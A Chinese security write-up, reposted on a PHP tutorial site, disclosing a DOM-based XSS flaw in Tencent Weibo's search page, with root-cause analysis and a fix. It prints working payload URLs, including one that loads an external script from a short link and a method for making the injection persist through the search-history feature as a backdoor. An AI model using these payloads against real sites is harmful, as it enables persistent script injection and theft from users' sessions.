网站地图    收藏   

主页 > 后端 > 网站安全 >

腾讯微博一处两用DOM-XSS,能反射,能后门 - 网站

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 看了应该是某黑客发了一条微博:内容里含有 每月来一次 的字眼。出于好奇,我就点了进去。然后打开了正在开发中的XSS扫描器,于是就有了此文。。。1.就是看到了这条微博,对于这...

看了应该是某黑客发了一条微博:内容里含有 "每月来一次" 的字眼。出于好奇,我就点了进去。然后打开了正在开发中的XSS扫描器,于是就有了此文。。。
1.就是看到了这条微博,对于这个"关键词" 订阅的功能,出于好奇,我就点了进去。
 
 
 
 
2. 然后打开了开发中的扫描器,对这个页面中的二级链接进行了全部扫描。发现以下结果。
 
 
 
 
3. 从上图,我们可以看到至少2点信息:
1) \x22 变成了 双引号,而这种变化,只有DOM类XSS才会出现。
2) 输出在 title="之间" 和 <xx>之间</xx> 都存在。
 
4. 我们选取 title 之间的输出,进行猜测性的构造利用代码。
 
 
http://search.t.qq.com/qun.php?pos=411&k=\x22\x3E\x3cimg\x2fsrc\x3d1\x20onerror\x3d\x22alert(1)\x22
 
放入浏览器,可以看到效果:
 
 
 
 
5. 我们进一步可以构造调用外部JS的代码,值得注意的是 k 参数有64个字符的长度限制。而此处是dom-xss,通过innerHTML输出的,无法使用 <script src="xx"></script>这种vector的。这里以在chrome下的测试为例。我们使用比较短的<svg onload="脚本"> 的方式来调用外部JS。其中短连接为我们的外部JS文件。
 
 
http://search.t.qq.com/qun.php?pos=411&k=\x22\x3E\x3csvg/onload\x3dUI.getScript(\x22//url.cn/7Hdsis\x22) 1
 
6. 这样一来,一个DOM xss就OK了。
 
7. 但是并不是这样, 出现问题的地方在,搜索历史模块,而这个模块会记录用户的搜索历史,并且出现在search.t.qq.com的首页及各处子页面。也就是,当受害者访问了我们指定的页面后,除了遭遇一次反射型XSS攻击外,在之后的日子里,search.t.qq.com下的页面都被我们植入了后门。
 
8. 从xsser.me的记录信息来看, 后门确实触发了。
 
 
 
 
9. 至于怎么利用我就不多说了。 回头来看看这个漏洞的成因。抓下包,可以看到搜索历史会通过ajax的方式来加载。而返回的数据是一段JS,在JS的字符串 list中,又没有对\进行过滤。
 
 
 
 
10. 在从http://search.t.qq.com/asyn/getSearchHistory.php获取返回数据之后,会调用 UI.evalScript(data.info); 
 

 
 
 
UI.evalScript的代码
 
 
function (b){var c=this.regExp.script;(b=(b||"").match(RegExp(c,"img")))&&UI.each(b,function(b){eval(b.match(RegExp(c,"im"))[1])})}
 
它会取出data.info中, <script> ...</script> 之间的部分,然后 eval
 
被eval的JS里,则会将list字符串的内容append到HTML中。
 
 
...
UI.append(UI.html(list)[0], $('searchHistory'));
...
修复方案:

将 http://search.t.qq.com/asyn/getSearchHistory.php 返回数据中,该过滤 \ 的位置给过滤掉。 
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论